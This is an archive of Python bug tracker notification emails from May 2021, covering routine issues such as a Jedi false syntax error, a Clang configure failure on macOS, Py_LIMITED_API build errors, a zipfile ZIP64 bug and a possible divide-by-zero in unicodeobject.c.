<1620354726.24.0.641469937984.issue44064@roundup.psfhosted.org> Jelle Zijlstra added the comment: "del t, v, tb" is perfectly legal Python syntax. It's whatever tool is showing a syntax error there (jedi, apparently) that's buggy. % python3.9 Python 3.9.4 (default, Apr 9 2021, 09:47:14) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> a = b = c = 1 >>> del a, b, c >>> ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 22:38:51 2021 From: report at bugs.python.org (Kathleen West) Date: Fri, 07 May 2021 02:38:51 +0000 Subject: [issue44064] Python39/lib/logging/__init__.py SyntaxError: cannot delete starred In-Reply-To: <1620350524.12.0.616777681382.issue44064@roundup.psfhosted.org> Message-ID: <1620355131.24.0.203654253238.issue44064@roundup.psfhosted.org> Kathleen West added the comment: We have a root cause/answer to the issue for future reference. Jedi is a static analysis tool for Python that is typically used in IDEs/editors plugins (VS Code) I will create a bug here: https://github.com/Microsoft/vscode-python ---------- resolution: -> third party _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 22:56:58 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 07 May 2021 02:56:58 +0000 Subject: [issue40943] PEP 353: Drop support for PyArg_ParseTuple() "#" formats when PY_SSIZE_T_CLEAN is not defined In-Reply-To: <1591805352.1.0.263144015623.issue40943@roundup.psfhosted.org> Message-ID: <1620356218.25.0.815350278093.issue40943@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24620 pull_request: https://github.com/python/cpython/pull/25961 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 22:57:37 2021 From: report at bugs.python.org (Kathleen West) Date: Fri, 07 May 2021 02:57:37 +0000 Subject: [issue44064] Python39/lib/logging/__init__.py SyntaxError: cannot delete starred In-Reply-To: <1620350524.12.0.616777681382.issue44064@roundup.psfhosted.org> Message-ID: <1620356257.81.0.197336582417.issue44064@roundup.psfhosted.org> Kathleen West added the comment: Created an issue @ microsoft/vscode-python https://github.com/microsoft/vscode-python/issues/16174 ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 23:18:45 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 07 May 2021 03:18:45 +0000 Subject: [issue40943] PEP 353: Drop support for PyArg_ParseTuple() "#" formats when PY_SSIZE_T_CLEAN is not defined In-Reply-To: <1591805352.1.0.263144015623.issue40943@roundup.psfhosted.org> Message-ID: <1620357525.68.0.516852775022.issue40943@roundup.psfhosted.org> miss-islington added the comment: New changeset 569ca81adf0be92be8752f6cc6492117f9ef3c0b by Miss Islington (bot) in branch '3.10': bpo-40943: Fix skipitem() didn't raise SystemError (GH-25937) https://github.com/python/cpython/commit/569ca81adf0be92be8752f6cc6492117f9ef3c0b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 23:29:07 2021 From: report at bugs.python.org (Inada Naoki) Date: Fri, 07 May 2021 03:29:07 +0000 Subject: [issue40943] PEP 353: Drop support for PyArg_ParseTuple() "#" formats when PY_SSIZE_T_CLEAN is not defined In-Reply-To: <1591805352.1.0.263144015623.issue40943@roundup.psfhosted.org> Message-ID: <1620358147.53.0.338185770379.issue40943@roundup.psfhosted.org> Change by Inada Naoki : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 23:42:54 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 07 May 2021 03:42:54 +0000 Subject: [issue37892] IDLE Shell: isolate user code input In-Reply-To: <1566301123.94.0.491748175182.issue37892@roundup.psfhosted.org> Message-ID: <1620358974.61.0.302816975641.issue37892@roundup.psfhosted.org> Terry J. Reedy added the comment: PR 25678 merged on top of the sidebar patch results in using space indents with the sidebar. An additional patch is needed to have the mode with '>>>' on a line by itself instead of having a sidebar. The shell prompt_last_line attribute is now obsolete (it is always '') and should be removed after uses, such as "if self.prompt_last_line" headers and the following code, are removed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 02:45:46 2021 From: report at bugs.python.org (Stephan Bergmann) Date: Fri, 07 May 2021 06:45:46 +0000 Subject: [issue44065] "configure: error: internal configure error for the platform triplet" on macOS with Clang supporting --print-multiarch: Message-ID: <1620369946.97.0.428718248395.issue44065@roundup.psfhosted.org> New submission from Stephan Bergmann : I experienced this with Python 3.8 when building it as part of LibreOffice (see "external/python3: Clang 13 trunk implements --print-multiarch now", quoting from its commit message below) but from the sources it looks like it would still be an issue with the latest cpython main branch: Clang 13 trunk implements --print-multiarch now since "[Driver] Add -print-multiarch", which causes an issue when building with such a compiler on macOS: > checking build system type... x86_64-apple-darwin19.6.0 > checking host system type... x86_64-apple-darwin19.6.0 [...] > checking for the platform triplet based on compiler characteristics... darwin configure: error: internal configure error for the platform triplet, please file a bug report as configure.ac computes PLATFORM_TRIPLET as "darwin", and instead of computing MULTIARCH as empty (as `$CC --print-multiarch` used to just print > clang: error: unsupported option '--print-multiarch' > clang: error: no input files to stderr), it now computes it as e.g. "x86_64-apple-darwin19.6.0" (or whatever -target is explicitly set to in $CC), so the check that they have equal values if they are both nonempty fails now when building against Clang 13 trunk. (This does not yet appear to be an issue with any Apple Clang version, though.) ---------- components: Build messages: 393167 nosy: sberg priority: normal severity: normal status: open title: "configure: error: internal configure error for the platform triplet" on macOS with Clang supporting --print-multiarch: type: compile error versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 02:48:17 2021 From: report at bugs.python.org (Rikard Nordgren) Date: Fri, 07 May 2021 06:48:17 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620370097.69.0.445684568718.issue44061@roundup.psfhosted.org> Rikard Nordgren added the comment: Thanks all for looking into this! > Though I'm sure the OP would > have noticed if their call was never returning any modules, so > presumably it must have worked somehow. Yes, that snippet returns modules with the previous versions of python 3.8 and 3.9. For more background to what I tested please see: https://github.com/actions/virtual-environments/issues/3330 > I'm happy to open an PR, just let me know or if OP is not willing to do so either. Please go ahead! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 02:50:37 2021 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 May 2021 06:50:37 +0000 Subject: [issue44065] "configure: error: internal configure error for the platform triplet" on macOS with Clang supporting --print-multiarch: In-Reply-To: <1620369946.97.0.428718248395.issue44065@roundup.psfhosted.org> Message-ID: <1620370237.3.0.471653965499.issue44065@roundup.psfhosted.org> Christian Heimes added the comment: Python 3.8 is in security fix-only mode and does no longer updates for non-security fixes. Are Python 3.9 and 3.10 beta affected, too? ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:00:39 2021 From: report at bugs.python.org (Inada Naoki) Date: Fri, 07 May 2021 07:00:39 +0000 Subject: [issue44029] PEP 624: Remove Py_UNICODE APIs In-Reply-To: <1620117605.85.0.144508372632.issue44029@roundup.psfhosted.org> Message-ID: <1620370839.22.0.463304591416.issue44029@roundup.psfhosted.org> Change by Inada Naoki : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:07:43 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Fri, 07 May 2021 07:07:43 +0000 Subject: [issue10513] sqlite3.InterfaceError after commit In-Reply-To: <1290515734.43.0.643837241692.issue10513@psf.upfronthosting.co.za> Message-ID: <1620371263.16.0.40889326811.issue10513@roundup.psfhosted.org> Erlend E. Aasland added the comment: I cannot reproduce this with Python 3.8, 3.9, nor 3.10 (macOS builds from python.org). Suggesting to close this. ---------- nosy: +erlendaasland status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:34:35 2021 From: report at bugs.python.org (Stephan Bergmann) Date: Fri, 07 May 2021 07:34:35 +0000 Subject: [issue44065] "configure: error: internal configure error for the platform triplet" on macOS with Clang supporting --print-multiarch: In-Reply-To: <1620369946.97.0.428718248395.issue44065@roundup.psfhosted.org> Message-ID: <1620372875.42.0.664765810032.issue44065@roundup.psfhosted.org> Stephan Bergmann added the comment: "from the sources it looks like it would still be an issue with the latest cpython main branch", and if I check out current main branch and run `CC='/path-to-local-llvm-trunk/bin/clang -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.1.sdk' ./configure` it indeed still fails with that "configure: error: internal configure error for the platform triplet, please file a bug report" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:37:31 2021 From: report at bugs.python.org (junpengruan) Date: Fri, 07 May 2021 07:37:31 +0000 Subject: [issue43949] binascii.Error raised in smtplib when initial_response_ok=False In-Reply-To: <1619510278.38.0.0405436447685.issue43949@roundup.psfhosted.org> Message-ID: <1620373051.12.0.23741092935.issue43949@roundup.psfhosted.org> junpengruan <632077280 at qq.com> added the comment: Hi Pandu, thanks for your reply! I have read the RFC4954 you mentioned and agree that the server shouldn't react like this. Then I notice that this RFC's publication date is 2007 and the server I use is published in 2003, that's maybe the reson why I meet this problem, Maybe I should just evade this problem for my own program and close this bug? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:41:34 2021 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 May 2021 07:41:34 +0000 Subject: [issue44065] "configure: error: internal configure error for the platform triplet" on macOS with Clang supporting --print-multiarch: In-Reply-To: <1620369946.97.0.428718248395.issue44065@roundup.psfhosted.org> Message-ID: <1620373294.11.0.0375809888332.issue44065@roundup.psfhosted.org> Change by Christian Heimes : ---------- components: +macOS nosy: +lukasz.langa, ned.deily, pablogsal, ronaldoussoren versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:43:08 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 07 May 2021 07:43:08 +0000 Subject: [issue44066] Conflicts while using Py_LIMITED_API Message-ID: <1620373388.58.0.836474503961.issue44066@roundup.psfhosted.org> New submission from Shreyan Avigyan : I usually program in Python C API without defining Py_LIMITED_API. I thought about using the stable ABI today. To my surprise, there are lot of conflicts occurring if Py_LIMITED_API is defined. The whole list of errors are:- 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(16,17): error C2037: left of 'tp_free' specifies undefined struct/union '_typeobject' 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(23,31): error C2037: left of 'tp_alloc' specifies undefined struct/union '_typeobject' 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(46,34): warning C4013: '_PyArg_ParseTupleAndKeywords_SizeT' undefined; assuming extern returning int 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(97,21): error C2079: 'ExampleType' uses undefined struct '_typeobject' 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(109,1): error C2078: too many initializers 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(99,3): error C2224: left of '.tp_name' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(100,3): error C2224: left of '.tp_doc' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(101,3): error C2224: left of '.tp_basicsize' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(102,3): error C2224: left of '.tp_itemsize' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(103,3): error C2224: left of '.tp_flags' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(104,3): error C2224: left of '.tp_new' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(105,3): error C2224: left of '.tp_init' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(106,3): error C2224: left of '.tp_dealloc' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(107,3): error C2224: left of '.tp_members' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension.h(108,3): error C2224: left of '.tp_methods' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(16,20): error C2037: left of 'tp_free' specifies undefined struct/union '_typeobject' 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(23,33): error C2037: left of 'tp_alloc' specifies undefined struct/union '_typeobject' 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(147,21): error C2079: 'CustomType' uses undefined struct '_typeobject' 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(160,1): error C2078: too many initializers 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(149,6): error C2224: left of '.tp_name' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(150,6): error C2224: left of '.tp_doc' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(151,6): error C2224: left of '.tp_basicsize' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(152,6): error C2224: left of '.tp_itemsize' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(153,6): error C2224: left of '.tp_flags' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(154,6): error C2224: left of '.tp_new' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(155,6): error C2224: left of '.tp_init' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(156,6): error C2224: left of '.tp_dealloc' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(157,6): error C2224: left of '.tp_members' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(158,6): error C2224: left of '.tp_methods' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\Extension2.h(159,6): error C2224: left of '.tp_getset' must have struct/union type 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\main.c(18,32): warning C4133: 'function': incompatible types - from 'int *' to 'PyTypeObject *' 1>C:\Users\shrey\source\repos\PyTypeExtension\Extension\main.c(19,28): warning C4133: 'function': incompatible types - from 'int *' to 'PyTypeObject *' This is pretty awkward because these errors only occur in stable ABI. Am I doing something wrong here or is there a bug out there? ---------- components: Build, C API, Windows messages: 393173 nosy: paul.moore, shreyanavigyan, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Conflicts while using Py_LIMITED_API type: compile error versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:49:06 2021 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 May 2021 07:49:06 +0000 Subject: [issue44066] Conflicts while using Py_LIMITED_API In-Reply-To: <1620373388.58.0.836474503961.issue44066@roundup.psfhosted.org> Message-ID: <1620373746.62.0.0928904829347.issue44066@roundup.psfhosted.org> Christian Heimes added the comment: Looks like you are doing something wrong. For example you seem to use internal, private bits like "_typeobject" instead of public APIs like PyTypeObject. These kind of questions are more appropriate for mailing list or https://discuss.python.org/ . Please also post links to your source code. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:49:27 2021 From: report at bugs.python.org (Miguel Brito) Date: Fri, 07 May 2021 07:49:27 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620373767.35.0.842921537111.issue44061@roundup.psfhosted.org> Change by Miguel Brito : ---------- keywords: +patch pull_requests: +24621 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25964 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:53:15 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 07 May 2021 07:53:15 +0000 Subject: [issue44066] Conflicts while using Py_LIMITED_API In-Reply-To: <1620373388.58.0.836474503961.issue44066@roundup.psfhosted.org> Message-ID: <1620373995.53.0.450754083616.issue44066@roundup.psfhosted.org> Shreyan Avigyan added the comment: Thanks for the quick response but I'm using PyTypeObject only. But in stable ABI it uses the name _typeobject to represent it. And I have a lot of files in my module therefore it's difficult to attach them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:56:27 2021 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 May 2021 07:56:27 +0000 Subject: [issue44066] Conflicts while using Py_LIMITED_API In-Reply-To: <1620373388.58.0.836474503961.issue44066@roundup.psfhosted.org> Message-ID: <1620374187.82.0.390967663328.issue44066@roundup.psfhosted.org> Christian Heimes added the comment: Is your code on Github, Gitlab, or BitBucket? Otherwise please attach Extension.h. What's your platform and exact Python version? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:59:03 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 07 May 2021 07:59:03 +0000 Subject: [issue44066] Conflicts while using Py_LIMITED_API In-Reply-To: <1620373388.58.0.836474503961.issue44066@roundup.psfhosted.org> Message-ID: <1620374343.37.0.195720932416.issue44066@roundup.psfhosted.org> Shreyan Avigyan added the comment: I've two header files, one main.c file and it's on my local machine. My platform is Windows, Python is 3.9.5 32bit and IDE is Visual Studio 2019. I'm attaching those files. ---------- Added file: https://bugs.python.org/file50022/main.c _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:59:15 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 07 May 2021 07:59:15 +0000 Subject: [issue44066] Conflicts while using Py_LIMITED_API In-Reply-To: <1620373388.58.0.836474503961.issue44066@roundup.psfhosted.org> Message-ID: <1620374355.73.0.483845423328.issue44066@roundup.psfhosted.org> Change by Shreyan Avigyan : Added file: https://bugs.python.org/file50023/Extension.h _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 03:59:27 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 07 May 2021 07:59:27 +0000 Subject: [issue44066] Conflicts while using Py_LIMITED_API In-Reply-To: <1620373388.58.0.836474503961.issue44066@roundup.psfhosted.org> Message-ID: <1620374367.92.0.611752194796.issue44066@roundup.psfhosted.org> Change by Shreyan Avigyan : Added file: https://bugs.python.org/file50024/Extension2.h _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 04:18:55 2021 From: report at bugs.python.org (AMRIT RAI) Date: Fri, 07 May 2021 08:18:55 +0000 Subject: [issue44067] Zipfile lib overwrites the extra field during closing when the archive size is more then ZIP64_LIMIT Message-ID: <1620375535.4.0.206636353999.issue44067@roundup.psfhosted.org> New submission from AMRIT RAI : The current zipFile implementation supports the allowZip64,which can make large zip files. There is a bug in the current implementation of close method ,where the extra field is overwritten . To reproduce it : 1.Create a directory with more then 4 GB of data(spread over many files). 2.Make the zip of those files using the any rar achiever which adds NTFS metadata(mtime,atime and ctime) of files in the zip. 3.Apped a new file to the zip using the zip library . When i open the zip again ,the files processed after the ZIP64_LIMIT is reached will have there extra fields overwritten. I have attached the zip which contained the python used to add the new file, and the images of zip archive before adding new files and after. ---------- components: Library (Lib) files: zip_bug.zip messages: 393178 nosy: shaanbhaya priority: normal severity: normal status: open title: Zipfile lib overwrites the extra field during closing when the archive size is more then ZIP64_LIMIT type: behavior versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50025/zip_bug.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 04:26:12 2021 From: report at bugs.python.org (Peixing Xin) Date: Fri, 07 May 2021 08:26:12 +0000 Subject: [issue31904] Python should support VxWorks RTOS In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za> Message-ID: <1620375972.53.0.453256904947.issue31904@roundup.psfhosted.org> Change by Peixing Xin : ---------- pull_requests: +24622 pull_request: https://github.com/python/cpython/pull/25965 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 04:41:46 2021 From: report at bugs.python.org (AMRIT RAI) Date: Fri, 07 May 2021 08:41:46 +0000 Subject: [issue44067] Zipfile lib overwrites the extra field during closing when the archive size is more then ZIP64_LIMIT In-Reply-To: <1620375535.4.0.206636353999.issue44067@roundup.psfhosted.org> Message-ID: <1620376906.17.0.222009997075.issue44067@roundup.psfhosted.org> AMRIT RAI added the comment: The issue stems from the following code inside the def _write_end_record(self): method ,where the extra fields are trimmed . if zinfo.header_offset > ZIP64_LIMIT: extra.append(zinfo.header_offset) header_offset = 0xffffffff else: header_offset = zinfo.header_offset extra_data = zinfo.extra min_version = 0 if extra: # Append a ZIP64 field to the extra's extra_data = _strip_extra(extra_data, (1,)) extra_data = struct.pack( ' _______________________________________ From report at bugs.python.org Fri May 7 05:54:28 2021 From: report at bugs.python.org (Marko) Date: Fri, 07 May 2021 09:54:28 +0000 Subject: [issue43806] asyncio.StreamReader hangs when reading from pipe and other process exits unexpectedly In-Reply-To: <1618143469.5.0.154132734242.issue43806@roundup.psfhosted.org> Message-ID: <1620381268.96.0.204248542632.issue43806@roundup.psfhosted.org> Marko added the comment: @jaswdr Hm, this is was somewhat unexpected for me, since when reading directly from pipe, and EOF is sent. Timeout was somewhat awkward in my case, since I don't know when other process will start sending, and how long it would take. On the other hand, I use asyncio loop, and can do this asynchronously, so I get notified when child process dies, by other means, and close the stream. So there are plenty of possible workarounds, but I'm not sure it is impossible to solve the problem on the library level yet. It would take more digging into implementation from my side, however. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 08:22:36 2021 From: report at bugs.python.org (Douwe Hoekstra) Date: Fri, 07 May 2021 12:22:36 +0000 Subject: [issue43558] The dataclasses documentation should mention how to call super().__init__ In-Reply-To: <1616165238.01.0.0594716110393.issue43558@roundup.psfhosted.org> Message-ID: <1620390156.34.0.0629260188246.issue43558@roundup.psfhosted.org> Change by Douwe Hoekstra : ---------- keywords: +patch pull_requests: +24623 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25967 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 08:50:54 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 07 May 2021 12:50:54 +0000 Subject: [issue44066] Conflicts while using Py_LIMITED_API In-Reply-To: <1620373388.58.0.836474503961.issue44066@roundup.psfhosted.org> Message-ID: <1620391854.37.0.472642923937.issue44066@roundup.psfhosted.org> Shreyan Avigyan added the comment: This is a Visual Studio solution. Will I attach the whole zip containing the projects and files and the the solution file? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 09:15:40 2021 From: report at bugs.python.org (Berker Peksag) Date: Fri, 07 May 2021 13:15:40 +0000 Subject: [issue44047] [sqlite3] remove unused argument from _pysqlite_seterror() In-Reply-To: <1620211877.75.0.0509682877779.issue44047@roundup.psfhosted.org> Message-ID: <1620393340.55.0.941233543132.issue44047@roundup.psfhosted.org> Berker Peksag added the comment: Thank you! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 09:37:47 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 07 May 2021 13:37:47 +0000 Subject: [issue12441] _GLOBAL_DEFAULT_TIMEOUT remains as an object() in HTTPConnection and the connection hangs In-Reply-To: <1309346319.84.0.970353674809.issue12441@psf.upfronthosting.co.za> Message-ID: <1620394667.63.0.0707339303567.issue12441@roundup.psfhosted.org> Senthil Kumaran added the comment: The _GLOBAL_DEFAULT_TIMEOUT usage is an established pattern with socket module. https://github.com/python/cpython/blob/main/Lib/socket.py#L805 This is not a bug and we don't have a good reproducible step mentioned in the report. ---------- resolution: -> not a bug stage: test needed -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 09:50:48 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 07 May 2021 13:50:48 +0000 Subject: [issue30164] Testing FTP support in urllib shouldn't use Debian FTP server In-Reply-To: <1493182203.15.0.353510107498.issue30164@psf.upfronthosting.co.za> Message-ID: <1620395448.71.0.296519551806.issue30164@roundup.psfhosted.org> Senthil Kumaran added the comment: This has been fixed here - https://github.com/python/cpython/pull/2755/files Python docs demonstrate the usage of ftplib using ftp.debian.org. I think, it is perfectly reasonable and welcome thing to do so. https://docs.python.org/3/library/ftplib.html Closing this ticket as fixed. I will add some minor improvement to the documentation usage though. ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 09:51:39 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 07 May 2021 13:51:39 +0000 Subject: [issue30164] Testing FTP support in urllib shouldn't use Debian FTP server In-Reply-To: <1493182203.15.0.353510107498.issue30164@psf.upfronthosting.co.za> Message-ID: <1620395499.78.0.134646282765.issue30164@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- pull_requests: +24624 pull_request: https://github.com/python/cpython/pull/25968 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 09:54:55 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Fri, 07 May 2021 13:54:55 +0000 Subject: [issue40297] test_socket.CANTest is broken at HEAD on master In-Reply-To: <1587007502.68.0.180919322143.issue40297@roundup.psfhosted.org> Message-ID: <1620395695.57.0.226534483377.issue40297@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 8a12f46dd8c780de84d78e6dd8350230e52e0c46 by Miss Islington (bot) in branch '3.8': bpo-40297: Fix test_socket.CANTest.testSendFrame (GH-19548) (#25957) https://github.com/python/cpython/commit/8a12f46dd8c780de84d78e6dd8350230e52e0c46 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 09:58:20 2021 From: report at bugs.python.org (Mark Shannon) Date: Fri, 07 May 2021 13:58:20 +0000 Subject: [issue44056] Incorrect line number for syntax error. In-Reply-To: <1620300688.24.0.928024360805.issue44056@roundup.psfhosted.org> Message-ID: <1620395900.02.0.279286312504.issue44056@roundup.psfhosted.org> Change by Mark Shannon : ---------- resolution: -> fixed stage: patch review -> needs patch status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 10:11:16 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 07 May 2021 14:11:16 +0000 Subject: [issue9725] urllib.request.FancyURLopener won't connect to pages requiring username and password In-Reply-To: <1283274337.79.0.0864543833676.issue9725@psf.upfronthosting.co.za> Message-ID: <1620396676.75.0.884437726738.issue9725@roundup.psfhosted.org> Senthil Kumaran added the comment: urllib.request.FancyURLopener has been deprecated since 3.3 https://docs.python.org/3/library/urllib.request.html#urllib.request.FancyURLopener This bug wont be fixed. The other higher level methods (urlopen) could used for basic authentication with username and password. ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 10:12:48 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 07 May 2021 14:12:48 +0000 Subject: [issue30164] Testing FTP support in urllib shouldn't use Debian FTP server In-Reply-To: <1493182203.15.0.353510107498.issue30164@psf.upfronthosting.co.za> Message-ID: <1620396768.07.0.281078135959.issue30164@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24625 pull_request: https://github.com/python/cpython/pull/25969 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 10:12:57 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 07 May 2021 14:12:57 +0000 Subject: [issue30164] Testing FTP support in urllib shouldn't use Debian FTP server In-Reply-To: <1493182203.15.0.353510107498.issue30164@psf.upfronthosting.co.za> Message-ID: <1620396777.19.0.303591893577.issue30164@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24626 pull_request: https://github.com/python/cpython/pull/25970 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 10:46:44 2021 From: report at bugs.python.org (So Ukiyama) Date: Fri, 07 May 2021 14:46:44 +0000 Subject: [issue25872] multithreading traceback KeyError when modifying file In-Reply-To: <1450200064.35.0.872448112145.issue25872@psf.upfronthosting.co.za> Message-ID: <1620398804.33.0.594770405339.issue25872@roundup.psfhosted.org> So Ukiyama added the comment: I apologize if this is rude, as I am not familiar with this method. I created a following PR to add unit tests about this issue. https://github.com/python/cpython/pull/25913 I would be happy to receive feedback on the PR. ---------- components: +Interpreter Core -Library (Lib) nosy: +uniocto _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 7 11:00:44 2021 From: report at bugs.python.org (yiyuaner) Date: Fri, 07 May 2021 15:00:44 +0000 Subject: [issue44068] Possible divide by zero problems Message-ID: <1620399644.92.0.605613335347.issue44068@roundup.psfhosted.org> New submission from yiyuaner : In the file Objects/unicodeobject.c, we have the following code: static PyObject* resize_compact(PyObject *unicode, Py_ssize_t length) { ... char_size = PyUnicode_KIND(unicode); ... if (length > ((PY_SSIZE_T_MAX - struct_size) / char_size - 1)) { PyErr_NoMemory(); return NULL; } } However, PyUnicode_KIND may return 0 if the variable unicode has kind 